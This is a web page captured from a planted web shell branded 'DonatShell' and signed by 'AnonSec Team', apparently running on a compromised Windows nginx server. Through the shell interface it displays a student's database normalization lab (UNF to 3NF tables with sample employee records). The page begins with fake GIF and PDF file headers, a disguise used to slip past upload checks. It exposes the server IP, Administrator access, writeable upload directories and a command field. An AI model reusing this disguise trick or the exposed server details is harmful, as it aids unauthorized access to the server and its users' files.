GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/uploads/20243/CST1600/41/16267537/Lab08/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/uploads/20243/CST1600/41/16267537/Lab08/StevenMorgan-Lab08.txt
UNF (Unnormalized Form):
employeework(employeeId*, name, SSN, projectWork, spouseName, spouseSSN, spouseIsInsured)

1NF (First Normal Form):
New Table: ProjectDetails
projectDetails(projectId*, projectCode, projectName, date, hoursWorked)

Updated employeework Table:
employeework(employeeId*, name, SSN, spouseName, spouseSSN, spouseIsInsured, projectId@)

Data for employeework:
employeeId* | name            | SSN       | spouseName    | spouseSSN   | spouseIsInsured | projectId@
------------|-----------------|-----------|---------------|-------------|-----------------|--------------
1           | Avram Hinton    | 123456789 | Lucy Merritt  | 234567890   | No              | 1
2           | Xerxes Hayes    | 345678901 | NULL          | NULL        | NULL            | 2
3           | Kristen Acosta  | 456789012 | Kylee Acosta  | 567890123   | Yes             | 3
4           | Harper Mcmahon  | 567890123 | NULL          | NULL        | NULL            | 4


2NF (Second Normal Form):
New Table: ProjectWorkDetails
projectWorkDetails(projectId*, projectCode, projectName)

Updated ProjectDetails Table:
projectDetails(projectId*, date, hoursWorked)

Updated employeework Table:
employeework(employeeId*, name, SSN, spouseName, spouseSSN, spouseIsInsured, projectId@, projectCode@)

Data for employeework:
employeeId* | name            | SSN       | spouseName    | spouseSSN   | spouseIsInsured | projectId@ | projectCode@
------------|-----------------|-----------|---------------|-------------|-----------------|------------|--------------
1           | Avram Hinton    | 123456789 | Lucy Merritt  | 234567890   | No              | 1          | Chr0944
1           | Avram Hinton    | 123456789 | Lucy Merritt  | 234567890   | No              | 1          | Tbl0944
2           | Xerxes Hayes    | 345678901 | NULL          | NULL        | NULL            | 2          | Kit0944
2           | Xerxes Hayes    | 345678901 | NULL          | NULL        | NULL            | 2          | Tbl0944
3           | Kristen Acosta  | 456789012 | Kylee Acosta  | 567890123   | Yes             | 3          | Kit0944
4           | Harper Mcmahon  | 567890123 | NULL          | NULL        | NULL            | 4          | Kit0944



3NF (Third Normal Form):
New Table: EmployeeDetails
employeeDetails(employeeId*, name, SSN, spouseName, spouseSSN, spouseIsInsured)

Updated employeework Table:
employeework(employeeId*, projectId@, projectCode@)

Data for employeework:
employeeId* | projectId@ | projectCode@
------------|------------|--------------
1           | 1          | Chr0944
1           | 1          | Tbl0944
2           | 2          | Kit0944
2           | 2          | Tbl0944
3           | 3          | Kit0944
4           | 4          | Kit0944

All Data Rows:
employeeId* | name            | SSN       | spouseName    | spouseSSN   | spouseIsInsured | projectId@ | projectCode@
------------|-----------------|-----------|---------------|-------------|-----------------|------------|--------------
1           | Avram Hinton    | 123456789 | Lucy Merritt  | 234567890   | No              | 1          | Chr0944
1           | Avram Hinton    | 123456789 | Lucy Merritt  | 234567890   | No              | 1          | Tbl0944
2           | Xerxes Hayes    | 345678901 | NULL          | NULL        | NULL            | 2          | Kit0944
2           | Xerxes Hayes    | 345678901 | NULL          | NULL        | NULL            | 2          | Tbl0944
3           | Kristen Acosta  | 456789012 | Kylee Acosta  | 567890123   | Yes             | 3          | Kit0944
4           | Harper Mcmahon  | 567890123 | NULL          | NULL        | NULL            | 4          | Kit0944

Anon7 - 2022
AnonSec Team